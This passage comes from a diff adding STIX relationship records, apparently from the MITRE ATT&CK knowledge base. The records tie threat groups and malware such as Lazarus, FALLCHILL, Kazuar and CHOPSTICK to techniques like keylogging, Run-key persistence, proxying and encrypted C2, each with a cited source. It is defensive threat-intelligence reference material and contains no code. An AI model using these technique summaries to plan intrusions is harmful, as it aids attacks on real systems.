[cmd](https://attack.mitre.org/software/S0106).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--8b746637-fef8-474e-8960-822d758fb9b3", + "source_ref": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018.", + "source_name": "VectorSec ForFiles Aug 2017", + "url": "https://twitter.com/vector_sec/status/896049052642533376" + }, + { + "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018.", + "source_name": "Evi1cg Forfiles Nov 2017", + "url": "https://twitter.com/Evi1cg/status/935027922397573120" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) uses multiple proxies to obfuscate network traffic from victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--39fdd17c-5f59-4daf-bf14-95841b5ec248", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.420Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT FALLCHILL Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) ran a command to compile an archive of file types of interest from the victim user's directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b990e235-dcf4-48c7-800d-b8a10a62eda4", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.302Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to scan for open ports on hosts in a connected network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--db85ce33-98cf-4fec-93bd-402909cbe4bc", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "modified": "2019-04-22T23:25:33.641Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "A [menuPass](https://attack.mitre.org/groups/G0045) macro deletes files after it has decoded and decompressed them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0741e02b-edaa-43a4-a96c-d6baf2d29015", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.519Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + }, + { + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "source_name": "DOJ APT10 Dec 2018", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) can delete malware and associated artifacts from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--3b32f3be-5bdd-4de8-9e39-83b0b8c1e70f", + "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "source_name": "US-CERT FALLCHILL Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[SslMM](https://attack.mitre.org/software/S0058) creates a new thread implementing a keylogging facility using Windows Keyboard Accelerators.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8d4effdd-6d91-473d-aa81-d121f1c77881", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "modified": "2019-04-25T02:48:47.520Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) uses cmd.exe to run commands for enumerating the host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--41023c59-b41e-454a-ace2-cd98d4fedb8e", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[Rover](https://attack.mitre.org/software/S0090) automatically collects files from the local system and removable drives based on a predefined list of file extensions on a regular timeframe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--121a09bd-f603-4476-a149-a3cba52f268c", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "source_name": "Palo Alto Rover", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) uses PowerShell for obfuscation and execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--911c0e63-10bc-4fbd-b7b7-0a9e318bb4f1", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.081Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[DownPaper](https://attack.mitre.org/software/S0186) searches and reads the value of the Windows Update Registry Run key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--521146dd-185d-4a8c-a3b4-b3caedbc7a14", + "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "source_name": "ClearSky Charming Kitten Dec 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[Twitoor](https://attack.mitre.org/software/S0302) uses Twitter for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9d7ac1b2-3fa9-4236-b72d-5565f0c66eab", + "source_ref": "malware--41e3fd01-7b83-471f-835d-d2b1dc9a770c", + "modified": "2019-02-01T17:38:06.098Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET-Twitoor", + "description": "ESET. (2016, August 24). First Twitter-controlled Android botnet discovered. Retrieved December 22, 2016.", + "url": "http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[JPIN](https://attack.mitre.org/software/S0201) contains a custom keylogger.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--78da5fc8-6f66-43a5-8ad4-c9c79b506408", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8", + "description": "[Janicab](https://attack.mitre.org/software/S0163) used a cron job for persistence on Mac devices.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3ec34d16-a4e6-4fc7-b819-5a041605aa42", + "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", + "source_name": "Janicab", + "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) downloads additional plug-ins to load on the victim\u2019s machine, including the ability to upgrade and replace its own binary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2286857e-ad96-4dda-abac-988e8cadda5c", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.779Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[S-Type](https://attack.mitre.org/software/S0085) uses HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4d4c8221-17a9-4e5b-86f9-6a0cffc42424", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has used spearphishing with links to deliver files with exploits to initial victims. The group has used embedded image tags (known as web bugs) with unique, per-recipient tracking links in their emails for the purpose of identifying which recipients opened messages.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e35a6a79-0ffc-4835-aaf8-e42dd20a7e45", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.996Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.", + "source_name": "Symantec Patchwork", + "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "source_name": "Volexity Patchwork June 2018", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) creates and uses a VBScript as part of its persistent execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--acb06172-23a6-4190-a568-63da13491e6e", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.481Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "C2 traffic from [ADVSTORESHELL](https://attack.mitre.org/software/S0045) is encrypted, then encoded with Base64 encoding.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--103f1ad4-feec-4be3-9da7-ee0b2503c318", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "source_name": "Kaspersky Sofacy", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) searches for interesting files (either a default or customized set of file extensions) on the local system and removable media.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--512e16e9-634c-45d3-b569-c25a3072bbdc", + "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "[FakeM](https://attack.mitre.org/software/S0076) C2 traffic attempts to evade detection by resembling data generated by legitimate messenger applications, such as MSN and Yahoo! messengers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d8c5b193-b49d-4c0e-a9da-072302ff47a0", + "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Helminth](https://attack.mitre.org/software/S0170) can provide a remote shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--acca43ee-1e88-4d39-a953-7626173a89b2", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) copies files with certain extensions from USB devices to\na predefined directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--93fc3086-d2c0-4b4d-8a69-278f15176739", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can delete a specified file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d0013f9d-4243-4ade-8d06-a2cd6158ca58", + "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) saves information from its keylogging routine as a .zip file in the present working directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9c4a8336-5f5f-4e58-b00d-b6bf1c59ec03", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) uses a customized XOR algorithm to encrypt C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d7cdf423-5fed-4402-b970-f6cf2d8df2bb", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "source_name": "US-CERT KEYMARBLE Aug 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[CrossRAT](https://attack.mitre.org/software/S0235) is capable of taking screen captures.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--28d4a66d-2b1f-4662-9e8e-4ba8ff4bcaf0", + "source_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "source_name": "Lookout Dark Caracal Jan 2018", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "description": "[Proton](https://attack.mitre.org/software/S0279) persists via a Launch Agent.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e23f5d88-b734-4f0e-8b6a-db034b7a8555", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "modified": "2019-06-24T19:03:52.725Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) achieves persistence by setting a Registry Run key, with the path depending on whether the victim account has user or administrator access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--afa1f53f-abd9-4e57-b4e1-4e161dd34e9b", + "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "source_name": "Cisco DNSMessenger March 2017", + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) has the capability to capture screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": 